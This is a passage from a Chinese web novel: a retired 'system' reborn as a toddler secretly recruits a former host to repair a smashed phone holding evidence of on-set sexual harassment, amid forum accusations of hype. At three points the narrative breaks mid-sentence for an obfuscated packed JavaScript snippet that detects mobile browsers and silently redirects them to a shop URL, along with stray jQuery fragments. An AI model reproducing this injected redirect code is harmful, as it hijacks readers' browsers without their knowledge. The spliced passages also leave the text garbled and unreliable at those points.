4.廖横武罢工,引导舆论,转移视线。 5.温时礼被推风口浪尖。】 系统给的信息十分简洁,只重点标注了事情的走向转折,并没有具体的事情经过,但所幸资料齐全,连别人手里的视屏资料都留有存档。 柏俞工作经验丰富地点点头,知道这就是便宜哥哥接下来的炮灰发展之路,她只要逐个帮忙解决就好。 柏俞信心十足的点开了手机受损分析图,如果只是数据受损,没有伤到手机机体,她就可以直接帮忙数据修复。 图片加载完成,柏俞傻了眼,机体四分五裂,看样子开机都困难。 就算不是数据修复,而是直接从系统获得视频原件,在开不了机的手机上复原也太奇怪了吧?! 柏俞沉默地在床上打了个滚,思索应该怎么自然地解决,突然想到曾在群里看到过搞手机研发的前宿主。 柏俞鲤鱼打挺地坐起身,上划找到私信,先点开前宿主的个人资料,看看她是哪个位面的宿主,确认这个位面科技高于现在的地球后,才装作漫不经心地给她发去私信。 [系统:敲敲,穿越否,请你帮忙修复一个手机。手机受损分析.jpg] 在等待回复的时间里,柏俞认真查阅起【快穿按钮】的规则事项。 【您可以选择通讯录里的任意一人进行穿越(通讯录一共89人) 出发地、目的地得是您去过或者正待着的地方 一次至多三人离开个人位面 24小时内仅可开启一次(往返算两次) 系统会自动为穿越人员科普简单常识,并设定为必过的新手关卡,提供当地衣食住行建议,基础生活用品指南。】 【想前宿主了就穿回去看看吧!】 柏俞:我不想穿,但我想别人穿来为我的退休生活遮风挡雨。 柏俞:但是我已经没有任务奖励可以发放,有没有宿主可以免费为我提供帮助。 [手机研发/杨珍妮:我有空我有空!去哪都行,倒贴穿越也行!] [手机研发/杨珍妮:终于重新联系上系统了呜呜,我好想你。] [手机研发/杨珍妮:我现在过得可好了,你从前帮助了我,现在我愿意为你做任何事!] [手机研发/杨珍妮:受损分析图已研究好,是很简单的小问题,什么时候穿,我准备好了!] *** 窗下车水马龙,顶楼办公椅上的杨珍妮兴奋地唤来助理,吩咐其为她找来几十年前的手机资料,并将这两日的工作全都延后,常年无休的她准备给自己放个年假。 面容疲惫的杨珍妮第一次不够稳重地下达命令,系统在她最无助、弱小的青春出现,又在她事业步步高升的时候消失,它离开她太久,连手机已经淘汰,步入光屏手环时代了都不知道。 她激动地整理着工具箱,边查看古董资料,边对照分析系统发来的图片,整个人干劲满满,仿佛又回到了充满活力的从前。 一道白光闪过,她感觉自己真的回到了几十年前,但有虚拟的光屏正向她播放着注意事项,播放完还要叫她答题。 *** “温哥,维修店都说修不好。”温时礼的助理小向烦躁地抓抓头发,边汇报进度,边继续和修手机的人交涉。 【向:再尝试一下吧,里面有重要的视频资料,不能刷机开。】 【AAA维修一哥:短短五个小时,这手机在维修圈转了个遍,哥们够给你面子吧?】 【AAA维修一哥:但确实是修不好,我师傅出山也没用,开不了机,应该伤到主板了,做最坏的打算吧,这数据应该是找不回来了。】 【AAA维修一哥:修复损坏成这样的手机,就和治愈百草枯死者一样,大罗神仙才做得到。】 【AAA维修一哥:我给你推荐我们店里的其他手机吧,旧的不去,新的不来。[链接]手机推荐】 【向:……你不会就是想赚我一个手机的钱吧?】 【AAA维修一哥:怎么会!?我的维修技术可是A市圈内第一。这样,你拿去其他地方修,谁修好了我跪下来喊他义父。】 谁关心你要当谁的干儿子!小向整张脸皱起来,不远处的张横武还在叫嚣,温时礼正艰难地维持秩序。 这手机是演员江岚的,和武术指导江横武起冲突时,被对方砸得粉碎。 事情发生后,他先和情绪比较稳定,还愿意正常沟通的江岚谈话,江岚对此给出的解释是:廖横武一大把年纪了,老牛想吃嫩草,多次对她实行性/骚扰,在人少的时候,借着指导动作的名义动手动脚,还多次深夜拦她,不让她回酒店。 剧组里的人都知道,廖横武是资方指定的武术指导,得罪不起,而且这人脾气暴躁,平时没事大家都避着他走,尽量顺着他意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762172|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江岚虽然害怕,但还是不愿意错过这来之不易的角色,又很有共情能力地不想让别人为难,担心别人会觉得她麻烦,最后选择自己默默解决。 今天她在片场偷偷支了手机,想要拍下被骚扰的证据,但录下视频没多久,就被廖横武的助理发现,廖横武立马恼羞成怒,动手摔了手机。 当时廖横武手里还举着剧组定做的长剑,趁手地挥剑砍了好几下,跳脚并破口大骂。 原本下午温时礼不在,剧组的工作人员难得松了口气。 只是这口气还没松多久,角落就响亮地发出“啪——”的一声,把大家都吓了一跳。 只见女二江岚突然甩了武术指导一巴掌,廖横武立刻暴跳如雷地指责她目无尊长,一点不尊重前辈,只是不小心碰到,这么大反应是想讹人吗?! 他破口大骂:“嘴巴一张就是碰瓷,有证据吗,想蹭我升咖是吧!” 廖横武行事向来小心谨慎,专挑没监控人还少的地方下手,更何况他身边一直跟着个精明的助理,从来没翻过车。 虽然两人各持己见,都没有证据。但小向还是偏向于相信江岚,毕竟江岚平时待人谦和有礼,做事认真刻苦,不像是炒黑料蹭热度的人。 他本想着帮忙联系修好手机,就能拿到江岚手里的证据,一切自然真相大白。 可这手机被砸得稀碎,数据已经无望找回。 小向疲倦地深呼吸,凝眉在“粘吧”上发布了修复手机的求助帖,“粘吧”是最早火起来的社交网站,虽然现在没落了,但里面有不少各行各业的大神人物。 虽然发帖求助,但他心里根本不报什么希望。 可帖子刚发出去,就有一个顶着工具箱头像的人回了帖,声称自己可以修,问他具体地址,看IP在同一个地方,她正好有空。 小向将信将疑地把维修店的地址给她发去,心里根本没当回事,就当是给维修店增加人流量了。 “这件事必须给我赔偿!道歉!我从来没受过这么大的委屈!”张横武听闻手机无法修复后,一下气焰更甚,嚷嚷着要温时礼给他一个交代。 温时礼头戴鸭舌帽,崩着张脸,语气毫无波澜地说:“等查清楚,自然会给你一个交代。气大伤身,现在很晚了,你先冷静一下。” 平时被人恭维着,出事大家都是第一时间安抚他,被温时礼面无表情规劝的张横武还要发飙,他助理拉了拉他的衣袖,及时制止了他。 张横武:“好……好吧,那明天必须给我一个交代。” 张横武走后,温时礼疲惫地捏了捏眉心,他将帽檐压低,招呼没事的人都先回去休息。 江岚满脸歉意,揪着衣摆,等人都走得差不多了,她才上前向温时礼道歉:“抱歉温导,给你添麻烦了。” “没事,一切等手机修好,让小向先送你回酒店,锁好门好好休息,以后有问题应该及时沟通。”温时礼本想说别拖到事态严重了再来解决,但一想到同样沉默寡言的妹妹,严肃的语气不自觉放缓,“回去吧。” “温……温哥。”小向突然发出怪叫,冲向温时礼,“救手机命的大罗神仙下凡了!” “每一家都说修不好的手机,被粘吧大神修好了!维修店现在叫我过去!”小向拎起书包就在手机打了个车。 “有救了有救了,张横武一看就是没理也不饶人类型的,最不好处理,有证据后就好谈多了!”小向激动地将手机凑到温时礼跟前,“我先去了温哥,等我好消息。” 温时礼匆匆瞟了几眼聊天记录。 【AAA维修一哥:不是哥们,你从哪找来的大神啊。】 【AAA维修一哥:她自带工具箱的捣鼓了十几分钟就打开了,这样会显得我很呆哎。】 【向:我粘吧求助的……真修好了?你不是说修不好吗?】 【AAA维修一哥:粘吧链接给我,我不想和你这个没有维修梦想的普通人说话,我要去拜师学艺了,你自己来我店里拿手机吧。】 【向:……[链接]】 【AAA维修一哥:谢了,以后你来我店里买手机打9折。】 小向:……还不是想赚我一个手机钱。 去维修店的路上,小向重新打开了粘吧帖子,下面果然多了好多评论。 这条求助帖一下登顶了当天的粘吧热搜。 4. 天才幼崽 小向付过车费后关上门,天已经完全暗了下来,明天一大早还要上班,他匆匆忙忙地往维修店里赶。 “呦,来啦。”维修一哥小高和小向是小学同学,他们有空还会时常聚餐,小高自然熟稔地抬头打了声招呼。 以往他们见面,总要寒暄上十几分钟,小高是个不怕冷场的社牛,总会拉着小向讲些有的没的,小向又不好意思拒绝,每次都成为社牛手里的玩具任他摆布。 急着回酒店睡觉的小向试图直接跳过寒暄:“修好的手机呢?我急着拿回去,下次请你吃饭。” “里面红色抽屉,塑封袋装着的那个就是,你自己去拿。”沉迷网络、一心拜师的小高压根没察觉兄弟的冷漠,一心扑在“粘吧”的帖子里,连起身都不愿意。 小向拿到手机狐疑地扭头看了对方好几眼,心里暗暗泛嘀咕:这咋了?话这么少?自己没修好的手机别人修好了,自闭了? “你怎么还不走?要留下来帮我看店?”半天不见人出来,小高面露疑惑,“找不到?你自己再找找,我现在没空。” 没一会,小向拎着手机从里面走出来,小高嘴巴闲不住地又开始叭叭:“哎你说,大师是个女的,我是喊义父好,还是义母好?但是我发誓的时候说的是义父,和誓言不一样会不会影响我拜师的成功率?” 小向:“……”我觉得你突然跪下来喊啥都不合适。 “大师还抱着一个小女孩,小小的,三四岁就熟练掌握数据修复,这说明什么?人家家庭言传身教啊!我要是能拜她们为师,不敢想,几年后我得称霸全世界。 小向:“……”你这不是很敢想吗? “你说我拜师成功后,是喊小孩姐师姐还是师妹?” 小向:“……”我觉得你有点天马行空了! 平时冷场没见小高嫌弃,这次他反倒嫌弃起来:“哎,你啥意见都提不出来,一个锯了嘴的葫芦,不想和你说话了,我去求助万能的网友了。” 小向一脸便秘地被小高赶出店,“哗啦——”一声响,卷帘门被拉了下来。 他又一言难尽地打车回酒店,在车上一言难尽地浏览起上了粘吧热搜的求助帖。 #[爆]求助,有没有懂手机修复的,手机摔成这样还能修复吗?里面有对我很重要的数据资料。图片.jpg 系统系统我爱你:可以修复,地址发来,我有空。 路人A:破成这样,修不了,别随便暴露住址。 向:[回复1楼]私信你了。 路人B:楼主把联系方式给我,老了我卖你保健品。 …… AAA维修一哥:[回复1楼]大神!你真能修啊!?虽然你在店里拒绝收我为徒,但我不是一个轻易放弃的人! 小高确实如他所说,在技术领域排得上号,他的粘吧账号还经常帮人答疑解惑,也时常与技术粉互动,还有不少卖二手机的吧主关注他,一大邦人跟着他涌入了求助帖,把这个帖子迅速顶上了热搜。 数据修复A:这也能修?演的吧,要演去“大眼”演,粘吧的舞台还是太小了。 AAA维修一哥:[回复12楼]数据修复A,我不允许你忤逆我的未来师傅。 路人B:还没拜师呢,脑子就已经被糊住了,联系方式发我,老了我卖你保健品。 AAA维修一哥:确实还没拜师,我师傅抱了个三岁小孩,能熟练地操作数据修复,连小孩都能教成这样,不敢想我要是拜师成功,会进步多大。 路人C:三岁?字都认不全的年纪你告诉我她会数据修复? 数据修复A:吹过头了!都叫你去“大眼”演了! 顾客A:我可以作证,我下午在店里看手机,围观了大神维修手机和小孩姐修复数据的全过程。 顾客A:真的牛X! 顾客B:我蹭到了免费维修,不想买新手机了,缝缝补补又三年啊。 AAA维修一哥:[回复25楼]确实牛X! AAA维修一哥:[回复26楼]顾客B,感谢你为我作证,你不仅拥有蹭修手机的好运气,你还将获得我店里买手机的九五折优惠券,幸运到底! 路人D:没人觉得三四岁会这些很吓人吗?没喝孟婆汤就投胎了!没忘干净! 路人E:我三岁还在玩泥巴,不过也可能是家庭教育,父母培养得好。 路人F:有人教也得是天才级别吧,我三岁连古诗都背不下来。 AAA维修一哥:虽然下午没能拜师成功,师傅赶着要和她师傅吃饭,没空搭理我,但我相信,只是因为行程冲突,绝对不是因为师傅看不上我。 路人G:为什么不直接拜她的师傅为师,是不想吗?站起来拒绝二手知识啊! 二手售卖:二手怎么你了?! …… 学生A:无意间刷到,小孩姐的脑子能不能借我,我是大学生。 路人H:相机存储卡能修复吗?去年拍的素材全受损了。 路人I:能帮我看看吗?黑屏手机里有我去世家人的聊天记录…… 求助帖下除了小高的拜师感言、网友的调侃,还有不少也想修复数据的人更贴求助。 但“系统系统我爱你”这个ID主页一片空白,也没再回帖。 *** 杨珍妮正陪柏俞在酒店包间吃饭,她内心激动,但几十年的职场生活让她学会了克制情感,她眉眼含笑地帮成为人类幼崽的系统布菜。 “我已经退休了。”柏俞腮帮子鼓鼓的,正拿着勺子往嘴里送香甜的小蛋糕。 真好吃啊,她咽下嘴里的蛋糕,见杨珍妮没怎么动筷,疑惑地问:“你是不是不喜欢吃,我们重新叫一些你喜欢的菜吧。” 杨珍妮心下一暖,久违地感受到不含目的、无微不至的关心,她摇摇头,动筷吃起来:“喜欢的,不用重新点。” 柏俞这才放心地点点头,她放下勺子,郑重其事地介绍道:“柏俞,我之前的名字。” 在她的记忆中,她没告诉任何一任宿主自己的名字,因为她认为名字带有特殊的含义,是她和其他系统不一样的证明,需要在特殊时候有仪式感地向大家公布。 现在她正式成为人类了,时机刚刚好。 “柏俞。”杨珍妮认真重复道,她替柏俞擦去唇角的奶油沫,夸道,“好好听的名字。” “嗯嗯,我也觉得。”柏俞重新吃起蛋糕,虽然点了一桌的饭菜,但她还是最爱蛋糕甜食。 “我现在在当人类。”柏俞边吃边随意地询问道,“你现在在做什么啊。” 杨珍妮被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762173|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏俞的话逗笑,哪有人会说自己在当人类的,她抿了一口鸡汤,开口道:“我也快要退休了。” “现在是一家光屏手环公司的CEO。”她抬起手向柏俞展示手腕上的金属手环,细细的手镯款,中间有个长方形的环面,轻点就能投影开启光屏。 “哇!”柏俞定定地看着手环和它投影的操作屏幕,要是平板也这么便携就好了,每次她玩平板,都觉得拿着好累。 柏俞好奇地问,“我能摸摸吗?” “可以的。”杨珍妮输入密码解下手环,塞到柏俞手里,柏俞摩挲着水晶质感的环面凸起,在心里暗暗估计技术难度。 “你看,按这里可以接打电话,这里上网,这里可以拍照。”杨珍妮示范着手环的用法,和柏俞一起拍了个合照。 柏俞端详地照片,评价道:“像素好高。” “嗯。”杨珍妮有些感慨,回忆道,“科技发展得很快,但如果没有遇到你,我根本无法接受教育,现在我已经和重男轻女的家庭断交了。” 柏俞安慰地肯定道:“越来越好了,都是因为你的努力!” 这样温馨有爱的氛围并没有持续太久,包间门被人有力地敲了几下,有服务生帮忙打开门,打断了谈话。 “应该是哥哥。”柏俞拦住想要起身的杨珍妮,颇为得意地说,“我出门都有和哥哥报备,哥哥就没有。” 她手在凉掉了的擦手毛巾上蹭了蹭,转过头想要招呼温时礼进来。 温时礼整个人风尘仆仆,帽檐压得极低,口罩又遮去他大半张脸,使他整个人看起来有些疏离,但他的动作又很急切,他直直地朝柏俞大步走来,伸手用力扶在她的椅子靠背:“怎么一个人乱跑,不打电话给哥哥?” 感觉到温时礼有些生气,柏俞缩缩脖子,老实巴交地回答:“我没有你的电话。” “但我有给你发飞鸽哦,不然你找不到我的。”柏俞越说越觉得自己占理,明明是便宜哥哥把她一个人忘在酒店,她都善解人意地报备行程了。 温时礼深吸口气,在心里责怪自己吓到了妹妹,明明是他没有交代安排好。 “抱歉,哥哥有些着急。”温时礼瞥了一眼席上的陌生女人,向柏俞道歉道,“我以为事情会很快处理好,留你一个人有没有害怕?以后不能自己一个人出来了,可以给我打飞鸽电话让我来接你。” “事情确实会很快解决的。”柏俞转过身郑重其事地拍拍温时礼的肩,毕竟她已经在帮忙处理了。 “我和姨姨出去玩了,一点都不害怕。” 温时礼:我很害怕,接到前台电话说你不见了,我都要吓死了。 “这位是?” 柏俞一脸骄傲:“是我的网友。”是来帮你解决麻烦的。 温时礼:“……”小小年纪就敢和网友面基,回去得科普安全教育。 “你电话响了哦。”柏俞戳戳还是不高兴的疲惫哥哥,双手端上她没吃过的蛋糕,一双小鹿眼在蛋糕后偷看对方。 温时礼接过,叹了口气,他一个成年人,自己忙起来把小孩一个人放酒店里,还得小孩哄他。温时礼抬手揉了揉柏俞脑袋,一手接通电话。 “温导啊,睡了吗?我们老板说,影视基地的合作还要重新谈一下,什么时候有空来一趟基地吧。” 5. 影视基地 电话对面是影视基地制景组的负责人,同为打工人,他很能共情合作推进缓慢时的心情,而且以后还要一起共事,打好关系总是没错的,他安抚性地继续道:“具体的事宜我也不是特别清楚,应该只是有一些小细节想和你再次确认。” “明后两天下午都可以,大后天我们老板要出差,归期未定,错过了可能会耽搁排期。” 温时礼接电话时微微倚靠着柏俞的椅背,两人距离近,所以柏俞隐约能听到对面在说什么,她轻轻地将没用过的叉子摆在蛋糕盘旁边,默默记下刚听到的关键词——影视基地。 退休后,柏俞的主系统功能是阉/割版,网络也不好加载缓慢,柏俞不确定这是不是炮灰哥哥的劫难,只能先暗暗记下,她有些苦恼地意识到:这都是主系统想退休返聘的阳谋! 她的记忆力很好,作为前系统,柏俞的联想能力是也一流,她立马回想起群聊里也有一个开影视基地的宿主,也许可以找他了解一下影视合作的相关事宜。 她在心里给自己竖了个大拇指:优秀的人类从不打无准备的杖! 柏俞将这条计划列入清单,自然而然地想起了她列的上一条计划:要陪幼稚哥哥玩过家家。 柏俞如梦初醒地拍了拍自己的脑袋:怎么忘了!哥哥只是一个不太成熟的大人,就算报备的事情他不占理,自己也不能太过苛责对方。 柏俞:毕竟,他只是个二十多岁的成年人啊!这么小谁都会犯错的! “好……”温时礼镇定地回着电话。 一下午经历跑剧组维持秩序,被不讲道理的人纠缠,发现小孩不见找小孩,现在又接到合作有问题的电话,温时礼着实有些身心俱疲,他捏了捏眉心,强装精神:“后天下午我会带着合同过去。” 和负责人约好具体的时间后,温时礼挂掉电话,他打开手机自带的日历,将新行程记录进去。 又翻出飞鸽,把这个行程同步给自己的助理。 “哥哥你吃。” 见温时礼打完电话了,柏俞眨巴着大眼睛,将叉子塞进他手里,和他分享自己最爱吃的小蛋糕,又拍拍自己身侧空着的椅子,示意他道:“快过来坐。” 柏俞把盘子往他面前一推:“吃点甜的开心一下。” 温时礼顺着她的话坐下,握着叉子,喉头一哽,他摘下口罩讷讷道:“抱歉刚刚对你这么凶。” “我不应该把你一个人留在酒店里,也不应该忙起来把你忘了。” 这是温时礼第一次带柏俞出门,经验严重匮乏,因为先前柏俞一觉至少要睡五个小时起,他本以为事情会在她醒来前解决,没想到忙得连电话都忘记给她打。 虽然出门前,他为了以防万一,把酒店的烧水壶等危险物品都收了起来,也叮嘱酒店前台6点过后多送几次温水和食物,而且之前柏俞从不一个人外出,也乖巧地知道什么东西不能碰,更是时常省电地窝在软乎的地方懒得动弹。温时礼自认为准备充足,小孩不会出事,加之柏俞表现得过于懂事聪慧,让他忽略了,再怎么聪明,她也只是个三岁多一点的孩子。 温时礼攥着叉子的手手背血管凸起,稍微松懈下来的他有一瞬的茫然和不知所措,就像小时候摔碎了盘子被大人责骂,想要弥补,却只能干站着挨训,那样无措中又隐带着一丝委屈。 资方指定的武术指导没理但嚣张,最后大概率会毁约,他背后的资方撤资,又要重新去拉投资,场地合作又出问题。 这些工作上的琐事都没让温时礼感到无力,工作出问题,他的第一反应是想怎么解决。 反倒是面对妹妹,他内心有巨大的无措和空洞,因为他清楚地意识到,当酒店前台打电话和他说柏俞不见了时,他想到的第一个念头居然不是去找妹妹,而是如果父亲温渊知道了,会怎么样。 他并不是柏家的亲生孩子,父亲温渊和母亲柏云漪都不那么爱他,如果他们知道自己把柏俞弄丢了,会怎么样。 接到电话的那个瞬间,温时礼大脑一片空白,他身体不自觉地微微颤抖,巨大的恐慌吞没了他,那一刻世界仿佛被按下暂停键,什么东西都不剩了。 “哥哥。” 柏俞扑进温时礼的怀里,将头埋在他胸口,张开双臂尽力环抱住温时礼的腰,手轻轻拍着他的后背,安慰他:“工作很不顺利哦,没关系的没关系的。” 她抬起头,超大声地打包票:“一切都会顺利起来的!” “嗯……”温时礼发出了闷闷的鼻音。 他沉吟几秒,承诺道:“以后不会再让这种事情发生了。” 刚出生就出远门,去各个位面打工,失去过往记忆,缺乏人类生活经验的柏俞,彼时还不知道人类是不会让幼崽自己出门的,她没意识到自己和杨珍妮出门这件事,让哥哥受到了惊吓,只以为自己报备了,让对方知道了就行。 所以听到这样的承诺,柏俞只当是温时礼要强:其他人起冲突这种事情,你一个外人怎么能控制让它不再发生?! 虽然有些不解,她还是决定不要打击对方重燃的斗志:“嗯!我相信哥哥,哥哥是最棒的!” 重新冷静下来的温时礼给妹妹盛了碗汤,看似不经意,实则警惕十足地瞥了眼拐走自己妹妹的女人:“和哥哥介绍一下吧,你的新网友,她都带你去做了什么?” 柏俞不懂温时礼在后怕什么,杨珍妮懂,她悄然将自己的攻击性降低,让自己的气息显得更加温和,这是她应对粗心自大谈判者的惯用手段,在这里,她只是希望能扭转一下自己在柏俞哥哥心中的坏印象。 “杨珍妮姨姨。”柏俞不想喝汤,没看温时礼推向她的碗。 “她先答题,然后来找我,我们一起去了商城,现在我和她吃饭,这些我不是在飞鸽上和你说过了吗?” 温时礼将柏俞面前的蛋糕端走,示意她大晚上别吃那么多蛋糕,喝汤。 他心中轻哼:答题?什么题?反诈中心的不要诱骗小孩警告题吗? 杨珍妮看兄妹俩暗暗较劲,柔和地笑笑,真诚道:“我刚来A市,只是来找柏俞叙叙旧,明天就回去了。” 她在主系统模拟的穿越场景里答对一百题,才成功穿越,主系统空间内还为她准备了这个时代的衣服,两人汇合后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762174|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏俞接到主系统的检测提示,将平板递给了杨珍妮,让她注册了个粘吧账号,这样就有正当理由自然地提供帮助了。 温时礼双眸微眯,接过柏俞给他叉的青椒,咬了一口,淡淡嗯了一声。 温时礼:坏人都不会说自己是坏人。 柏俞狡黠地偷偷瞄温时礼,期待他露出难吃的表情,但哥哥全程面不改色,柏俞无趣地瘪瘪嘴。 两个大人互相试探,没柏俞什么事情,她觉得无聊,静静唤出了系统界面,决定和影视基地的前宿主聊一聊。 她在通讯录里找到备注,点开详情看了看,阉/割版的信息界面只会显示对比情况,例如科技高于您的时代,并没有详细的坐标信息,柏俞看着无对比详情的词条,了然:应该和这里差不多。 [系统:敲敲,临门一脚的合作延迟,通常会是因为什么原因?] 很晚了,想着对面可能睡了。 柏俞点开主界面跳出来的红点,发现通讯录延迟地多了一个功能。 【主系统:首次穿越成功!】 【已解锁穿越朋友圈功能,快上传你去别地游玩的照片,编辑文案让大家羡慕羡慕吧!】 柏俞重新返回[影视基地/张强]的主页,详情界面里果然多了个空空如也的朋友圈。 温时礼一直用余光关注着妹妹,瞥见妹妹一本正经地在点空气,他有些失笑:小孩的想象力真是丰富,他小时候也喜欢拿着本子装办公,觉得电脑前办公的大人看起来很酷。 温时礼:不过很晚了,妹妹该睡觉了。 柏俞关掉光屏,一抬头发现温时礼正一脸慈爱(?)地看着她,她脊背一僵,有些心虚地掏出平板:可不能让哥哥发现了我与众不同。 她装作玩平板的样子,和巡视领土一样每个APP都打开看看,直到逛到招牌APP,柏俞发现自己被所有企业拒绝了。 【回复:简历排版整齐,内容虚浮,信息不准确,不予考虑。】 柏俞反思:不真诚!弄虚作假是不对的! 【回复:你信我是秦始皇,还是信你工龄300年。】 柏俞不高兴:这是我为数不多的真诚! 柏俞:呜呜……人类找工作好难啊。 浏览了十几条拒绝回复,柏俞忍无可忍地双手一拍:我要开一个公司! 点击发布面向不同位面小世界的招牌信息,请前宿主们为我的退休生活遮风挡雨! 温时礼看着一个人玩角色扮演,过家家都能玩到斗志昂扬的柏俞,心想:真可爱! “该睡觉了。” 温时礼抽出湿巾替柏俞擦手,和杨珍妮聊了许久,虽然对她还有些戒备,但对方真诚地自揭伤疤,话里话外都表现出对柏俞十足的关心,温时礼心情稍缓,礼貌地询问杨珍妮:“您今晚住哪儿?” 享受完哥哥的擦手服务,柏俞积极地举手回答:“我知道我知道!她今晚和我一起睡!”毕竟主系统还没出穿越身份,她现在是黑户。 温时礼:“?” 他刚有些接受对方。 “不行,绝对不行!” 6. 炒作 温时礼不同意杨珍妮和柏俞同屋,但柏俞怕黑户的事情败露,又坚持要收留杨珍妮一晚,最后三人只能乘车回到柏家别墅,到家时已经很晚了。 还没睡的管家安排杨珍妮入住客房,回来后笑眯眯地当着温时礼的面发送消息。 温时礼知道,这是在和温渊汇报柏俞的行程。 保姆上前要牵过柏俞的手,半哄半劝地对柏俞说道:“我带小俞去洗漱吧,很晚了,小宝宝该睡觉了哦。” 柏俞确实有些困倦,她睡意朦胧地揉揉眼睛,自然地松开了温时礼的大手,跟着保姆阿姨一起去洗漱,洗漱完很快就一个人安静地睡着了。 温时礼有些庆幸,又有些后怕,他来到柏俞床前,替她拢了拢被角,又将粘在她脸颊上的发丝拨开。 凌晨一两点,温时礼时隔多年重新入住柏家别墅,他有些唏嘘,以前他住的房间收拾得很干净,一尘不染,整整齐齐地摆放着一些基础的生活用品,除了面积比客房大,户型朝向更好以外,压根看不出这是特意留给家里人住的房间。 他简单洗漱后裹着浴袍洗衣服,柏家没有放温时礼的衣服,他只能今天洗完烘干明天穿。 等温时礼做完一切琐事终于躺到床上,已经快凌晨2点,他收到了助理发来的打码视频,看完后沉默地点了下载。 【助理:温哥,这是江岚手机拍到的视频证据,她担心泄露信息自己加了打码。】 【助理:明天怎么办?廖横武可不是什么讲道理会羞愧的人,我怕他明天狗急跳墙,要不要我去雇几个身形魁梧的保镖威慑一下,他看起来一个可以打三个我。】 【温:明天直接带人和他谈解约,不要过多纠缠,他只接受自己想要的处理结果,我们给不了,和他多说只会是浪费时间,另外准备重新拉一笔投资。】 【助理:收到。】 【助理:后天去影视基地重谈合作,是外联制片去还是你亲自去?】 外联制片在剧组中主要负责联系协调场地,但温时礼和张强合作的是张家未正式营业的度假山庄,涉及到山庄后续开放营业的主题联名活动,张强算是给温时礼投资相互合作。 【温:我亲自去,早点睡吧。】 【助理:嗯嗯,晚安。】 用一句敷衍的晚安结束自己昨天的工作,亢奋的小向根本睡不着,他正浏览着粘吧帖子义愤填膺。 越看越精神的小向:凭什么说是炒作?!哪个好人在粘吧上炒作?是嫌弃大眼流量太高吗?! #[爆]截图.jpg这个帖子是什么新型炒作,营销技术超群就算了,连小孩都不放过,打造什么神童人设,消费孩子。 路人A:无图无真相,虽然不是不可能,世界上还是有天才存在的,但她都不敢回复其他要修复数据的帖子,一看就心虚了。 小向一惊,连忙翻出小高的飞鸽,这可不能被刺激地随便放店里的监控证明,涉及侵犯个人隐私的。 小向斟酌地精心挑选,给小高发去了他自己收藏已久的真诚劝诫。 【向:[链接]生气歌,别人生气我不气。】 那头的小高也没睡,他正舌战群儒,试图为他未来的师傅辩护,冷不丁收到“哑巴”好友的飞鸽,他一头雾水地点开。 【AAA维修一哥:?】什么东西,大晚上的,发错人了吗?! 【向:[链接]生气,是90%罪恶发生的导火索,如何保持镇定,做情绪的主人!】 【AAA维修一哥:?】这是工作受什么刺激了,精神还正常吗?都说了别干娱乐圈! 【向:[链接]有关个人隐私的法律,你都知道几条?】 【AAA维修一哥:?】深夜犯病!还怪吓人的! 小高是个直来直往,心里藏不住事儿的人,他立马一个电话过去,想知道好兄弟小向是不是半夜发癔症。 “你给我发那些链接啥意思?”电话一接通,小高就急嚷嚷地发问。 “我刷到质疑帖了,就是让你别随便发店里监控自证。” 为了不让好友蹲局子,小向煞费苦心,精心包装用词:“你师傅知道了你随便透露她的长相和技术,会不高兴的,说不定就不收你为徒了。” “这还用你说。”小高还以为是啥事,闻言就要挂电话,“没其他事我挂了啊,一天天尽瞎操心,兄弟我是那不理智的人吗?” 联想到江岚的事情,以及她急于自证,一遍遍解释,导致说不过嗓门大、不讲理的廖横武,小向继续叮嘱道:“也别陷入自证陷阱,网上的事看看就过去了。” 也不知道小高有没有听进去,他只匆匆丢下一句就挂了电话:“别瞎操心哈,哥们心里有数。” 做到了当朋友的职责,虽然效果好像一般,无奈的小向只能继续将帖子往下翻。 江边山风:手机确实修好了。 路人C:注意注意!新的演员已入场!闻着味找到这个帖子了! 江边山风:…… 数据修复A:常用套路啦,炒一个人设强化记忆点,号火起来了就可以卖货了。 AAA维修一哥:[回复2楼]你就嫉妒吧,嫉妒使你面目全非。 学生A:这个我知道,今天刚看过小说,小孩姐肯定是带记忆重生的,这一次,她要夺回属于她的一切! 学生B:[回复4楼]明天就要考试了,你还搁着灌水,说好的一晚上一个奇迹呢? 学生A:[回复5楼]马上复习,这一次!我要夺回属于我的一切! 路人C:确实可疑,后面那么多跟帖求助的她都没回复,大胆开麦,求助帖楼主和那个维修一哥认识,他们是一伙的,这是他们联伙设计的剧本。 路人H:维修一哥不是开手机店的吗?估计是给店做宣传呢,你感到好奇去他店里看看,最好买上一个手机,他的目的就达到了。 路人B:有道理,收藏了,以后老了我卖你们保健品就用这个炒作思路。 路人G:哈哈哈哈哈哈哈保 